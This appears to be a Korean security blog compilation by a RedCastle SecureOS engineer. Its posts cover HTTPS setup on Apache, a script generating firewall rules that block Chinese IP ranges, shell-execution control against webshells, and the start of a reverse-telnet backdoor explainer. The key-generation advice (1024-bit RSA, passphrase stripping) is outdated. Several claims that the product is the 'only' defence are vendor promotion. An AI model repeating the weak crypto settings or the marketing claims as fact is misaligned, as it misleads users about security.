서버라는 IT자원이 서비스에 핵심적인 자원이고 장애가 발생할 경우 매우 치명적인 피해를 유발할 수 있기 때문에 보안보다는 안정성과 가용성에 초점이 맞춰져 있다. 즉 “해킹이나 정보유출의 가능성이 있더라도 서비스가 우선”이라는 무언의 공감대를 깨지 못하고 있는 것이다. 하지만 해킹이나 내부 통제 취약점이 공격을 받아 서버에 침입이 발생하면 돌이킬 수 없는 치명적인 손실이 발생할 수 있다는 것을 최근 몇 차례의 보안 사고에서 경험할 수 있었다. 따라서 내부자 권한의 탈취를 통한 서버운영체제 계정으로의 불법적 접속과 접속 후 서버 내에서의 위협행위에 대한 보호대책으로서 운영 체제 접속에 대한 이중 인증 구현 및 실사용자 식별 시스템을 구축할 것을 신중히 고려하여야 한다.



웹서버는 기본적으로 HTTP 프로토콜을 사용합니다. 그리고 그누보드와 같은 게시판 소스를 이용하든 직접 개발한 웹 소스의 로그인 폼을 사용하든 로그인페이지에서 입력한 ID와 비밀번호는 스니핑과 같은 기본적인 해킹기법에도 유출됩니다.

로그인 시 입력한 ID와 비밀번호를 네트워크 상에서 가로채는 것을 차단하기 위해서는 http 프로토콜 대신 보안성이 강화된 https 프로토콜을 사용해야 합니다. https는 http 프로토콜의 암호화 버전이라고 생각하면 됩니다. https 의 s는 SSL을 의미합니다.

그런데 https 를 적용하기 위해서는 웹서버에 서버 인증서를 설치해야 합니다. 음..인증서라.. 인증서는 보안이론 중에서도 암호학에 나오는 암호화 기법 중 하나인 PKI(Public Key Infrastructure)를 공부해야 하는 것인데.. 그건 여기서 설명하지 않습니다. 무척 복잡하기 때문이죠.

그리고 웹서버에 https를 적용하기 위해 이 포스트에서 설명하는 서버 인증서는 사설인증서 입니다. 사설인증서를 웹서버에서 https에 적용할 경우 브라우저가 서버로 부터 전달받은 서버 인증서의 발급자를 공인해줄 수 없기 때문에 웹 브라우저에서 https로 서버에 접속했을 때 보안경고창이 뜹니다. 신뢰할 수 없는 보안인증서 관련 보안경고창이 뜨지 않게하려면 윈도의 인터넷 보안 옵션에서 서버에 적용한 인증서를 신뢰할 수 있는 보안인증서로 등록해 주어야 합니다.

하지만 여러 공인인증서 발급기관에서 유료로 발급해주는 서버인증서는 인증서 발급과 동시에 공인인증기관(CA)에 등록되기 때문에 브라우저의 "보안경고"창이 뜨지 않습니다. 그리고 공인인증서 발급기관에서 설치 방법을 친절하게 문서로 설명해주기 때문에 궂이 이 포스트를 보지 않아도 됩니다.  다만 앞부분의 인증서를 생성하는 과정만 다를 뿐 과정은 동일합니다.


1. 서버 인증서 생성하고 설정하기


이 서버는 CentOS 6.6 입니다. 리눅스 입니다. 윈도 서버라면... 다른 곳에서 확인해주세요.

먼저 openssl 명령으로 서버 키를 생성해야 합니다. RSA는 전자서명용 비대칭키 시스템입니다. Triple-DES 암호알고리즘을 사용하며 키 길이는 1024 입니다. 

아래의 작업은 /etc/pki/tls/private 로 이동하여 실행합니다. 



서버키 비밀번호를 물어봅니다. 새로 적당한 비밀번호를 입력해주면 됩니다. 이 비밀번호는 잊어버리면...망합니다. 여기서 생성하는 서버 인증서를 아파치 웹서버에서 https 접속에 사용하려고 적용한 뒤 아파치를 재구동하면 이 비밀번호를 입력해야 합니다. 그리고 key 파일이름을 server.key로 지정했는데 가능하면 인증서를 적용할 서버의 DNS주소.key로 지정하는 것이 좋습니다. 아래가 생성한 서버키 파일을의 내용을 cat 명령어로 확인한 것입니다.



다음은 CSR 파일을 만듭니다. 여기에는 인증서 발급에 필요한 서명정보들이 들어갑니다. 즉 인증서 발급기관과 인증서를 적용할 서버정보를 입력합니다. 여기서도 server.key, server.csr 그리고 본문에 서버 이름을 lib로 지정했는데 실제로 서비스하는 서버의 도메인주소(풀경로)를 적어주는 것이 좋습니다. 그렇지 않으면 이 서버인증서를 윈도의 보안설정에서 서버 인증서로 등록해도 사이트 정보와 인증서의 서버 정보가 일치하지 않아 인증서 경고창이 계속 뜹니다.



csr 파일을 생성할 때도 앞에서 key 파일을 만들 때 입력한 비밀번호를 물어봅니다. 아래는 key 파일과 csr 파일목록입니다.



앞에서 key 파일을 생성할 때 비밀번호를 입력했습니다. 그런데 이 비밀번호를 아파치 서버를 구동할 때 매번 입력해주어야 합니다. 번거롭겠죠? 그래서 이 비밀번호를 key 파일에서 빼버립니다. 



이제 마지막으로 X.509 인증서를 생성합니다.



이렇게 하면 server.crt가 생성됩니다. 이 CRT파일을 /etc/pki/tls/certs 디렉토리로 복사합니다. 


앞에서 언급했듯이 이 예제에서는 server 라는 키워드를 사용했지만 웹서버의 도메인주소와 동일한 이름을 사용하는 것이 좋습니다. 예를 들어 웹서버에 접속할 때 http://www.test.co.kr 이라고 입력한다면 www.test.co.kr 이라는 키워드를 서버 www.test.co.kr.key 와 같이 파일명을 만들어 사용해야 합니다. (저 같은 경우는 그랬습니다.)




2. 아파치 웹서버의 ssl.conf 설정


서버에 인증서만 만들어 둔다고 ssl이 그냥 적용되지는 않습니다. 아파치 웹서버에서 그 인증서를 이용해 https 프로토콜 통신에 사용하도록 알려줘야겠죠?

아파치 웹서버의 설정 디렉토리를 뒤져보면 ssl.conf 파일이 있습니다. 그 파일을 열어 다음의 몇줄을 수정합니다.


#   Server Certificate:

SSLCertificateFile /etc/pki/tls/certs/lib.sgasol.kr.crt 

#   Server Private Key:

SSLCertificateKeyFile /etc/pki/tls/private/lib.sgasol.kr.key



3. http 접속을 https로 리다이렉션하기


http 프로토콜은 tcp/80으로 접속이 됩니다. 하지만 https는 기본적으로 tcp/443 포트를 사용합니다. 즉 위에서와 같이 웹서버에 https를 적용해도 사용자들이 브라우저에 https 로 접속하지 않고 http로 접속하면  암호화되지 않은 통신을 하게됩니다.

그렇다면 사용자들이 http로 접속을 해도 https로 자동으로 리다이렉션되게 해야겠죠?

여러가지 방법이 있지만 여기서는 아파치 웹서버의 설정을 변경해 자동으로 https로 넘어가도록 합니다.

그러기 위해서는 httpd.conf 파일을 수정해야합니다.



아파치 서버의 DocumentRoot에 대응하는 VirtualHost 섹션이 있습니다. 거기에 위 화면처럼 ServerName을 실제 서비스 도메인명으로 주고 해당 웹서비스 즉 80 포트를 https (443)으로 강제 변경하면 됩니다.


5. 그누보드 도메인설정


만약 그누보드를 사용한다면 다음과 같이 그누 보드에서도 G5 버전에서 https 도메인을 지정해주면 됩니다.


define('G5_DOMAIN', 'https://~~~sol.kr:443');

define('G5_HTTPS_DOMAIN', 'https://~~~ol.kr:443');


그누보드의 config.php 파일을 위와같이 수정하면 완성됩니다.




2015년 봄... 인터넷을 뜨겁게 달구던 클리앙 랜섬웨어 유포사고는 랜섬웨어를 사용자들의 PC에 감염시키기 위해 웹서버를 "이용"했을 뿐이다. (사고 관련 포스트 보러가기) 그래서 사실 웹서버에는 별다른 피해가 발생하지 않는다. 이렇게 서버에 별다른 피해를 끼치지 않기에 웹서버를 이용한 악성코드 유포사고로 피해를 보는 것은 일반 사용자들 뿐이다. 서버를 운영하는 기업들이나 공공기관은 별다른 피해를 입지 않고 "욕만 한번" 먹고 그냥 넘어가기 일쑤다.


하지만 최근 랜섬웨어가 일반 사용자들의 PC 뿐만아니라 서버까지도 공격한다는 소식은 웹서버를 이용해 서비스를 제공하는 기업이나 기관의 IT부서 담당자들을 꽤나 긴장하게 할 듯 하다.


해커 입장에서는 어차피 랜섬웨어를 사용자의 PC까지 감염시키기 위해서는 일단 유포지로 선택된 웹서버에 랜섬웨어를 업로드해야 하며 이를 위해서는 웹서버의 취약점을 찾아 해킹해야 한다. 그 이야기는 업로드된 서버에서 랜섬웨어가 동작하게 하면 서버의 수많은 파일을 암호화할 수 있다는 이야기다. 해커 입장에선 더 손쉬운 공격이 될 수 있다. 


인터넷에 떠도는 웹서버의 파일이 랜섬웨어에 의해 암호화된 화면 


이런 공격은 일반적인 웹쉘 탐지솔루션이나 IPS, 웹방화벽 등으로는 차단이 불가능하다. 일단 웹서버에서 취약점이 발견되면 해커는 취약점을 악용해 랜섬웨어를 업로드하거나 직접 서버에서 소스를 컴파일해 실행파일을 생성할 수 있다. 


서버에 업로드된 랜섬웨어는 웹서버가 실행중인 운영체제 계정의 권한으로 접근이 가능한 수많은 파일을 암호화해버릴 수 있다. 당연히 암호화가 끝나면 암호화에 사용된 Key가 담긴 파일을 삭제하고 "돈내라고" 협박하는 웹페이지를 생성해 웹서버 관리자에게 보여줄 수 있다.


이런 상황은 현재까지 나도 경험해보지 못했기에 "가정"하는 상황이지만 충분히 가능한 시나리오며 여러 보안관련 사이트에서 이러한 위험을 경고하고 있는 상황이다.


종종 방문하는 SecurityPlus의 블로그에서도 관련 정보를 찾아볼 수 있다.

(http://blog.securityplus.or.kr/2016/01/blog-post_14.html)



웹서버의 취약점을 공격하여 서버에 파일을 생성하고, 명령어를 실행하며, 소스파일을 위변조하거나 암호화하는 공격을 가장 효과적으로 차단할 수 있는 보호대책은 RedCastle SecureOS를 서버에 설치하고 파일접근통제정책(File ACL)을 적용하는 것이다. 그리고 이 FileACL을 적용하기 위해서는 SecureOS 전문 컨설팅을 통해 웹서비스의 디렉토리 구조 및 보호대상 자원(파일)을 선정하고 정책을 구현하는 서비스를 받아야하기도 한다.


그와 과련된 여러 포스팅을 올렸고 해당 포스트를 보고 여러 분들이 문의를 주시곤 한다. 보안솔루션은 보안의 특성상 완벽한 해킹차단은 불가능하다. 가장 완벽한 보안솔루션도 예상치 못한 Hole이 발견되어 뚫리곤 한다. 

하지만 분명한 것은 RedCastle SecureOS는 다른 보안솔루션보다 월등한 명령어 실행 통제 및 파일 위변조 차단 성능을 보여준다는 것이다. 아래 포스트에 방어사례도 있지만 실질적인 서버 내부에서 일어날 수 있는 해킹에 대한 방어 효과는 그 어떤 보안솔루션과의 비교를 거부할만큼 월등한 성능을 보여준다.


당연히 랜섬웨어에 의해 서버에서 발생할 수 있는 파일의 암호화 공격에 가장 효과적으로 대응할 수 있는 보안솔루션이 바로 RedCastle SecureOS라고 할 수 있다.


관련 포스트 모음


IIS웹서버 해킹을 통한 악성코드 삽입 공격 방어 사례 (소스위변조공격)  -  http://blogger.pe.kr/346

웹페이지 변조(파일변조)를 차단하는 근본적인 방법  - http://blogger.pe.kr/433

웹서버 해킹 방어 사례 - 남다른 끈기를 보여준 해커 -  http://blogger.pe.kr/451


  • 지후대디 2016.01.17 22:41 신고

    리멤버에 명함이 업데이트 되셨던데 혹시 이직 하신건지요?
    이전에 회사명이랑 달라진것 같아서 ^^

    • taeho Tae-Ho 2016.01.18 07:08 신고

      아닙니다. 회사명만 바뀌었습니다. 레드비씨에서 "SGA솔루션즈"로요.. 원래 레드비씨는 SGA의 자회사였습니다. 이제 회사명이 바뀔일은 없을 듯 합니다.


RedCastle은 SecureOS 입니다. IT인프라의 네트워크 또는 응용프로그램의 취약성을 뚫고 서버 내부로 침투한 이후, 해커의 행위를 통제할 수 있는...어찌보면 보안인프라 중에서도 최후의 보루라 할 수 있죠. 최후의 보루라는 이유는 해커가 서버 운영체제의 SuperUser 권한이나 어플리케이션 관리자 권한을 탈취한 뒤에도 방어가 가능한 유일한 보안 솔루션이기 때문입니다.


SecureOS 이외의 어떤 보안 솔루션도 root 권한...Administrator 권한을 획득한 해커의 공격을 막아낼 수 있는 솔루션은 없습니다. 물론 RedCastle도 한계는 있지만 타 보안 솔루션과 비교할바는 아닙니다.


하지만 RedCastle을 도입한 많은 기관이나 기업에서는 여전히 네트워크를 통해 서버에 접근하는 것을 차단하는데 총력을 기울이고 있습니다. 그리고 그러한 노력은 당연한 것입니다. 서버에 접근하기 전에 위험한 접근은 차단하는 것이 정답이죠. 그래서 RedCaslte에서 제공하는 서버방화벽 기능을 이용해 내외부에서의 접근을 통제하는 경우가 많습니다. 


그런데 가끔은 참 어려운 요구를 하는 경우도 있습니다. 바로 중국 때문입니다.


중국의 IP 대역

RedCastle에서 제공하는 방화벽은 SW 방화벽입니다. 그리고 서버 자원인 CPU를 사용합니다. 때문에 너무 많은 방화벽 정책을 적용하기에는 무리가 따릅니다. 그래서 개인적으로는 100라인 이내에서 정책을 적용하는 것을 권장합니다. 그럼에도 "중국"은 모두 막고 싶다는 요청을 하기도 합니다.


중국의 IP 대역은 무척 많습니다. 상상을 초월합니다. KRNIC에서 제공하는 웹페이지에 가면 각 국가별로 필터링이 가능한 IP 대역이 포함된 CSV파일을 다운받거나 조회할 수 있습니다. (KRNIC의 국가별 IP대역 현황)


그 CSV 파일을 살펴보면 다음과 같은 구조로 되어 있습니다.


20150819,CN,43.224.208.0,43.224.211.255,/22,20141126

20150819,CN,43.224.212.0,43.224.215.255,/22,20141126

20150819,CN,43.224.216.0,43.224.219.255,/22,20141126

20150819,IN,43.224.220.0,43.224.223.255,/22,20141126

20150819,CN,43.224.224.0,43.224.227.255,/22,20141127

20150819,HK,43.224.228.0,43.224.231.255,/22,20141127

20150819,HK,43.224.232.0,43.224.235.255,/22,20141127

20150819,PK,43.224.236.0,43.224.239.255,/22,20141127

20150819,CN,43.224.240.0,43.224.243.255,/22,20141127

20150819,HK,43.224.244.0,43.224.247.255,/22,20141127

20150819,TW,43.224.248.0,43.224.249.255,/23,20141128

20150819,NZ,43.224.250.0,43.224.251.255,/23,20141205

20150819,IN,43.224.252.0,43.224.255.255,/22,20141128

20150819,IN,43.225.0.0,43.225.3.255,/22,20141128

20150819,SG,43.225.4.0,43.225.7.255,/22,20141129

20150819,HK,43.225.8.0,43.225.11.255,/22,20141129

20150819,AU,43.225.12.0,43.225.15.255,/22,20141201

.... (생략) ....


각 칼럼은 쉼표(,)로 구분되어 있고 기준일, 국가코드, 시작IP, 끝IP, 프리픽스(CIDR), 할당일자 순서로 되어 있습니다.


전세계 인터넷 IP를 할당받은 모든 국가에 할당된 정보가 포함되어 있는 이 파일은 15만라인이 넘습니다. 그리고 중국의 국가코드인 CN이 포함된 라인은 5825라인입니다. 어마무시하죠. 즉 RedCastle의 서버 방화벽에 최대 5825라인이 들어갈 수도 있다는 이야깁니다. 



RedCastle에서 중국IP 차단 방화벽 정책 적용하기

대부분의 기업과 기관에서는 네트워크 방화벽에서 해외 접속을 차단합니다만... 일부 중소기업이나 작은 쇼핑몰 등에서는 값비싼 방화벽 장비를 도입할 수 없는 경우가 많습니다. 제대로 보안을 강화하자면 DMZ 앞단에 외부방화벽을... DMZ와 내부망 사이에 또하나의 방화벽을 두어야 하기 때문이죠. (물론 방화벽 한대로 할 수도 있습니다만..)


그렇기 때문에 포트스캐닝이나 불법적 접속 시도와 같은 기본적인 네트워크 보안도 수행하고 홈페이지 소스파일 위변조도 차단하고 내부 사용자에 대한 보안도 강화하기 위해 이 모두를 한꺼번에 수행할 수 있는 서버보안 제품을 도입하는 경우가 종종 있습니다.


그리고 그런 경우 웹서버 앞단에 방화벽이 없는 경우가 대부분이기 대문에 "중국IP를 모두 차단하고 싶다"는 요구가 이따금씩 발생합니다. 그러기 위해서는 앞에서 살펴본 중국 IP를 차단하는 방화벽 정책을 적용해야 하는데... 이 작업을 수동으로 하자면 끝이 없습니다. 불가능하죠. 중국의 IP 대역을 일일히 네트워크 그룹에 등록해야하고 등록된 네트워크 그룹을 이용해 차단 정책을 넣어줘야 합니다.


그래서 위의 전세계 IP 대역이 포함된 파일에서 중국의 IP 대역만 찾아 네트워크 그룹으로 등록하고 차단 정책을 만들어 주는 쉘 스크립트를 작성했습니다.


소스는 무척 짧습니다. 


cnb.sh (리눅스에서만 테스트 됨)

#!/bin/bash


f_geoip=ipv4.csv


IPCT=1

NETCT=1

IPSTR=""

MASKSTR=""


for IPRANGE in `egrep "CN" $f_geoip | cut -d, -f3,5`

do


        if [ $IPCT -gt 20 ]; then

                echo "network count is $NETCT. initialize..."


                echo "CHINA$NETCT|IPV4|$IPSTR|$MASKSTR||CHINANETWORK $NETCT" >> RCFWNwk.Dat

                echo "REJECT|IN|LOG|USER|TCP_ANY|CHINA$NETCT|ANY|S/SA|NONE||0|0|0|||" >> RCFW.Dat


                IPCT=1

                NETCT=$((NETCT + 1))


                IPSTR=""

                MASKSTR=""

        fi

        IP=`echo $IPRANGE | cut -d, -f1`

        CIDR=`echo $IPRANGE | cut -d, -f2`

        SUBNET=`ipcalc $IP$CIDR -m`

        SUBNET=`echo $SUBNET | cut -d= -f2`


        if [ $IPCT -eq 1 ]; then

                IPSTR=$IP

                MASKSTR=$SUBNET

        else

                IPSTR=$IPSTR,$IP

                MASKSTR=$MASKSTR,$SUBNET

        fi


        IPCT=$((IPCT + 1))

done


위의 스크립트를 구동하면 291개의 네트워크 그룹과 291개의 방화벽 정책이 생성됩니다. 이 정책을 RedCastle의 방화벽 정책이 저장되는 리포지토리에 저장하고 매니저에서 불러와 적용하면 중국IP를 차단할 수 있습니다.


그리고 위의 스크립트를 조금만 수정하면 리눅스의 iptables 명령문도 만들어 자동으로 실행되도록 할 수 있습니다.


반대로... 국내에서만 서비스되는 서버라면 우리나라의 IP 대역만 접근을 허용하고 나머지는 차단하는 정책을 적용하는 것이 더 효율적입니다. (우리나라의 IP 대역도 만만치는 않습니다. 1065개나 됩니다.)


다만...


서버의 자원을 사용하는 SW 방화벽이기 때문에 서버의 성능과 네트워크 트래픽 등을 감안하여야 한다는 점을 꼭 유념해야 합니다. (그래도 다른 서버 방화벽 보다는 가볍습니다. 그 이유는 나중에.... ^^)





정보보안 업계에서 일을 하면서 정보보안업계는 다른 IT 업종과 참 많은 것이 다르다는 것을 알게 됐지만 그 중에서도 큰 차이점은 과도하게 "기술 지향적"이라는 점이다. 쉽게 말해 "정보보안전문가 == 해커" 이라는 등식이 당연하게 받아들여 진다는 것이다. 이런 잘못된 인식은 정보보안전문가를 목표로 하는 젊은이들이 리버스엔지니어링(악성코드분석), 웹 취약점 공격, 패킷 분석 등 특정 분야의 기술습득에만 몰두하게 되는 부작용을 낳고 있다.


만약 정보보안전문가들이 악성코드를 만들어 배포하고 해킹을 시도하는 해커만큼의 기술적 수준을 갖고 있어야 한다면 해킹을 방어하는 것은 거의 불가능할 것이다. 정보보안전문가들은 해킹에 악용되는 취약점과 해당 취약점을 공격하는 악성 코드의 코드 하나하나가 아니라 해당 취약점을 내포하고 있는 SW나 System을 이해하는 것과 악성코드가 동작하는 개념, 그리고 해당 취약점을 공격하여 공격 대상 서버 혹은 시스템에서 해커가 얻는 것이 무엇이며 취약점 공격을 통해 얻은 것으로 무엇을 할 수 있는가를 찾아내는 능력을 키우는 것이 더 중요하다.


CVE로 명명되고 있는 취약점은 매우 다양하며 해커들에 의해 앞으로도 끊임없이 많이 발견될 것이고 해커들은 해당 취약점을 공격하는 악성코드를 생산해 낼 것이다. 그렇다면 과연 그러한 취약점을 일일히 하나도 빠짐없이 정보보안전문가들이 코드 하나 하나까지 분석하고 대응해야 하는 것일까? 그것은 정보보안전문가들에겐 너무도 비효율적이다 못해 잔인한 일이다. 그것은 악성코드 분석 전문가에게 맞기고 그들이 분석한 결과를 활용하는 것이 옳은 방향이다. 모두가 악성코드 분석 전문가가 될 필요는 없다.


이번 포스팅에서 다룰 내용은 바로 그런 관점에서 수많은 취약점을 이용해 해커가 하고자하는 행위인 운영체제 쉘 권한의 획득을 방어하기 위해 운영체제가 갖고 있는 Shell의 실행을 SecureOS를 통해 통제하는 것이 얼마나 효율적인 정보보안대책인지를 이야기하고자 한다.


Shell의 취약성

대부분의 운영체제는 Shell 이라고 하는 대화형 사용자 인터페이스를 제공한다. Unix와 linux는 bash(본어게인쉘)을 비롯해 sh, ksh, csh, tcsh 등 다양한 쉘(shell)을 지원한다. 그리고 Windows 운영체제의 경우에도 cmd.exe를 지원한다.(예전엔 하위 윈도 호환을 위해 command.com도 있었음)


그런데 이 쉘은 보안에 매우 취약하다. 그리고 이 취약성은 해커들에게는 다른 수많은 취약점의 공격을 통해 꼭 얻어내야 하는 성지와 같다. 운영체제 벤더인 IBM, HP, Oracle(과거의 Sun), RedHat 등은 이 취약성을 제거하는데는 관심이 없다. 그리고 앞으로도 제거에 앞장서지는 않을 것이다. 왜냐하면 Unix와 Linux의 근본 사상이 무너지는 결과도 초래할 수 있기 때문이다. 


여기에서 이야기하는 쉘의 취약성은 쉘이 갖고 있는 버그(?)로 인한 기술적 취약성이 아닌 운영체제의 근본 개념에 의해 발현되는 근본적인 취약성이다. 즉 사용자가 매우 다양한 입력 경로를 통해 쉘에게 전달하는 명령을 쉘이 완벽하게 실행해주기 때문에 발생하는 취약성 아닌 취약성이다. 즉 사용자의 명령이 키보드 입력을 통해 전달되든 파일에 저장되어 파일명으로 전달이 되든, 다른 서비스 대몬으로부터 exec 함수를 통해 전달이 되든 가리지 않고 완벽하게 실행해주기 때문에 발생되는 취약성이다. 이 취약성은 어떤 기술적 취약성으로도 분류되지 않는 아무도 인정하지 않는 취약성이다. 왜냐하면 "쉘은 원래 그렇게 만들어졌기" 때문이다. 



이 취약성은 tty 혹은 pts가 할당되거나 실제 사용자가 접속하여 키보드로 입력한 명령만을 실행하도록 하는 매우 단순한 통제 만으로도 매우 효과적인 통제를 수행할 수 있다. 그리고 이러한 방법은 기술적으로 비교적 간단하게 구현이 가능하다. 원래 쉘은 서버에 접속한 사용자에게서 명령을 입력받고 해당 명령의 파일을 찾아 실행시켜주는 역할을 수행하면 되기 때문이다. 하지만 쉘은 거기에서 그치지 않고 스크립트를 실행하거나 백그라운드로 배치 작업을 구동하는데도 이용되고 있기 때문에 현실적으로 적용이 어렵다. 이는 Windows 운영체제도 마찬가지다. 결국 제거할 수 없는 취약성인 셈이다. 


해커들은 그 점을 악용한다. 해커들은 서버에 직접 Telnet, SSH, Terminal Service 등을 통해 접속하지 않고 어떤 방법으로든 쉘의 "제거할 수 없는 취약성"에 접근할 수 있는 다른 취약점만 찾으면 서버를 해커가 마음대로 조종할 수 있다는 것을 알고 있다. 아래의 경우도 같은 경우다.



이 화면은 이슈메이커스랩이라는 화이트해커그룹에서 악성코드를 분석한 결과다. 웹브라우저에서 구동되는 플래시의 취약점을 악용해 악성코드를 다운받게 하고 다운받은 악성코드가 Windows가 설치된 PC나 서버에 저장되어 있는 문서파일들을 Windows의 기본 쉘을 실행시켜 수집하기도 한다는 분석 결과다.


여기서 정보보안전문가라면  윈도의 쉘인 cmd.exe가 실행되었음을 포착하여야 한다. 수 많은 취약점과 악성코드들이 최종적으로 PC나 서버 내에서 무언가를 실행하기 위해 cmd.exe를 실행한다. 따라서 악성코드가 cmd.exe를 실행하는 것을 차단하면 해커의 해킹의지를 효과적으로 꺾을 수 있다. 해커가 희생자 컴퓨터에 콘솔이나 정상적인 원격접속을 하지 않고 희생자 컴퓨터에서 무언가 정보를 획득하거나 원하는 명령을 실행하기 위해서는 Windows의 경우 cmd.exe를, Unix나 Linux에서는 bash나 sh와 같은 쉘을 실행하여만 한다. 


MS 오피스, 아래아한글, 어도비 PDF와 플래시, 그리고 GIF와 같은 이미지 등에서 발견되는 수많은 취약점들은 최종적으로 운영체제의 명령어나 쉘을 실행하기 위한 경유지 정도의 역할을 하는 경우가 대부분임을 알아야 한다.


따라서 PC나 서버의 운영체제에서 제공되는 쉘을 어떻게 통제하는가가 보안의 핵심 중 하나인데... 현실은 거의 통제되지 않고 있는것이 현실이다.


쉘(shell)의 통제 방안

쉘(shell)의 실행 통제는 사실 SecureOS가 없이는 불가능하다. 쉘의 실행 통제 필요성은 정보보안전문가라면 한번쯤은 필요성을 느껴보았겠지만 쉘의 실행을 통제할 수 있는 보호대책의 구현이 SecureOS로 가능하다는 것 조차도 많이 알려지지 않다.


쉘의 실행을 통제함으로써 구현 가능한 대표적인 보호대책이 바로 "웹쉘(webshell)의 실행 차단"이다. 일반적으로 웹서버의 수 많은 취약점을 통해 서버에 웹쉘을 업로드하거나 운영체제의 명령어를 실행할 수 있는 인젝션(Injection) 취약점을 악용하여 운영체제의 쉘을 실행하게 되는데 취약점에 관계없이 웹서버 프로세스를 통한 명령어의 실행을 원천적으로 차단할 수 있게 된다. (관련 포스트 보러가기 : Windows ASP 웹쉘 분석 및 차단 구현,    Unix/Linux 웹쉘 차단 구현)


웹쉘 이외에도 Windows의 쉘인 cmd.exe와 Unix/Linux의 쉘인 sh, ksh, csh 등은 실행 감사로그를 수집하여 분석하고 정상적인 주체에 의해서만 실행이 허용되어야 한다. 만약 여러 이유로 인해 실행을 통제하기 어렵다면 웹서버 대몬, DB 프로세스 등 잠재적 취약성이 있는 애플리케이션에서의 쉘 접근은 최소한 차단하도록 보호대책을 수립해야 한다. 이러한 보호 대책은 SecureOS 인 RedCastle을 통해 구현할 수 있다.


SecureOS인 RedCastle을 통해 운영체제의 쉘에 대한 실행을 통제하게 되면 쉘의 실행을 목적으로 다양한 취약점을 찾고 찾은 취약점을 공격하는 악성코드를 작성하여 침투해도 악성코드가 쉘을 실행하지 못함으로써 해커가 원하는 목적을 이루지 못하게 된다. 따라서 보안담당자는 쉘을 실행시킬 수 있는 수많은 취약점에 일일히 대응하지 않아도 되며 정기적인 보안 패치의 적용하면 된다. Zero-Day 취약점에 효과적으로 대응할 수 있는 것이다. 


운영체제의 쉘에 대한 접근 통제를 수행할 수 있는 유일한 보안 솔루션은 RedCastle SecureOS다.


사족

정보보안업계가 기술적 취약점 하나 하나에 너무 집착하게 됨으로써 흔히 정보보호담당자를 뽑을 때 해킹대회 입상자나 리버스엔지니어링과 같은 기술을 요구하는 구인광고를 보게된다. 사실 리버싱기술을 갖고 있거나 해킹대회에 입상할 정도의 실력을 가진 화이트해커라면 특정분야의 기술적 수준은 높겠지만 관리적보안이나 해당 분야가 아닌 다른 분야의 실력은 예상만큼 높지 않을 가능성이 더 많다.


오히려 운영체제와 운영체제에서 구동되는 다양한 시스템소프트웨어, 예를 들면 클러스터나 백업소프트웨어, 데이터베이스, 배치스케줄러와 미들웨어(웹로직, 제우스, 웹스피어 등)등의 역할과 특징을 이해하고 있으면서 네트워크나 데스크탑 컴퓨터의 특성을 종합적으로 이해하고 있으면서 보안의 기술적, 관리적 체계를 이해하고 있는 사람이 더 적임자라고 말하고 싶다.


기관이나 기업의 정보보호담당자는 특정 분야의 해킹기술 보다는 다양한 IT 분야의 다양한 경험과 관리적 보안에 대한 노하우를 고르게 갖고 있는 사람이 더 적합하다 하겠다. 제 아무리 보안을 전공하고 박사학위를 받았더라도  AIX, HPUX, CISCO Switch와 같은 하드웨어 인프라와 Oracle, Sybase, Weblogic, tuxedo, JEUS 등의 DB와 Java 기반 미들웨어, 게다가 NetBackup, Control-M, HACMP, MC-ServiceGuard 등의 시스템 소프트웨어를 모르는 보안 담당자가 시스템 엔지니어들을 통제하면서 제대로된 기술적 보호대책을 수립할 수 있겠는가?


십수년 전부터 구축되는 정보시스템은 네트워크, 운영체제, 웹, 미들웨어 등 다양한 솔루션들이 융합되어 하나의 시스템을 이룬다. 수십개의 솔루션이 유기적으로 연동되고 융합되어 정보를 수집하고 가공하고 저장하며 분석하고 표현해준다. 그 과정에서 발생할 수 있는 정보의 유출과 파괴는 악성코드 분석기술, 패킷 분석기술만으로는 예방하고 차단할 수 없음이 자명하다.


여러 금융기관과 대기업의 정보보호조직이 시스템과 네트워크 운용조직에 이리치이고 저리치이면서 제대로 된 기술적 보호대책을 구현하지 못하고 물리적 출입통제에 사운을 건 듯 매달리는 이유다.


정보보호전문가를 꿈꾸는 젊은이라면 "C, Java, Web은 물론 서버 및 데스크탑 운영체제, 데이터베이스, 네트워크 프로토콜, PKI 등 기반 기술은 물론 다양한 시스템소프트웨어까지 닥치는 대로" 공부해야 한다. 정보보호전문가는 IT분야 종사자의 최초의 직업이 아니라 최후의 직업이 되어야 제대로 일할 수 있다.


  • 지후대디 2015.08.25 20:22 신고

    올해는 보안때문에 너무 고생을 해서 ^^ 그래도 보안은 미래에 점점 더 중요한 IT기술의 하나가 될건 분명해 보입니다 ^^

    • taeho Tae-Ho 2015.08.27 15:33 신고

      ㅎㅎ 기기 인증은 잘 끝나셨겠죠...??
      고생 많으셨습니다~~

  • Frost. C 2015.08.28 18:07 신고

    좋은 글 잘 읽었습니다~ 정보보안전문가가 되기위해 갈 길이 멀군요.. 끊임없이 정진하겠습니다ㅎㅎ


Unix 서버와 Linux 서버 그리고 Windows 서버 운영체제는...사실 운영체제 그 자체가 취약점 덩어리라고 할 수 있다. 하지만 대부분 운영체제 자체의 취약성은 운영체제의 필요불가피성에 뭍혀버리고 서버 외부에서 서버 내부로의 침투를 차단하는데 온갖 보안 솔루션을 동원하여 방어하고 있다.


그러나...


최근 몇년 사이에 그러한 인식은 많이 바뀌어 가고 있음을 서버보안SW를 다루면서 느낄 수 있다. 


내부망/내부자에 의해 서버 운영체제의 취약점 공격은 너무도 쉽다는 것이 농협사고와 카드3사 사고 등 초 대형 사고와 함께 알려지기 시작했고 네트워크 보안으로는 방어하기 힘든 APT 기법에 의한 해킹이 빈발하면서 서버 내부에서의 통제 강화 필요성이 대두되고 있다.


이번 포스트에서는 방화벽을 우회하여 서버에 침투할 수 있는 Revers Telnet 백도어에 대해 정리하고 방어 정책에 대해 서술한다.


Reverse Telnet의 개념

리버스텔넷에는 서버와 클라이언트에 netcat 이라는 도구가 활용된다. 그리고 특징적인 것은 일반적인 Telnet, SSH와는 정 반대의 접속 방식이 사용된다는 점이다.


일반적으로 Telnet은 다음과 같은 절차에 의해 접속이 된다.


1. 사용자가 접속하고자 하는 서버에서 Telnet, SSHD 대몬이 실행되어 TCP/23, TCP22를 각각 Binding하고 Listen 한다. (클라이언트 Telnet 프로그램이 접속하기를 대기하고 있는상태)


2. 사용자는 PC에서 Telnet Client 프로그램을 실행한다.


3. 사용자가 입력한 서버 IP의 TCP/23, TCP/22에 Connect 한다.


4. Telnet/SSH 대몬은 쉘을 실행하고 두 세션을 연결해준다.


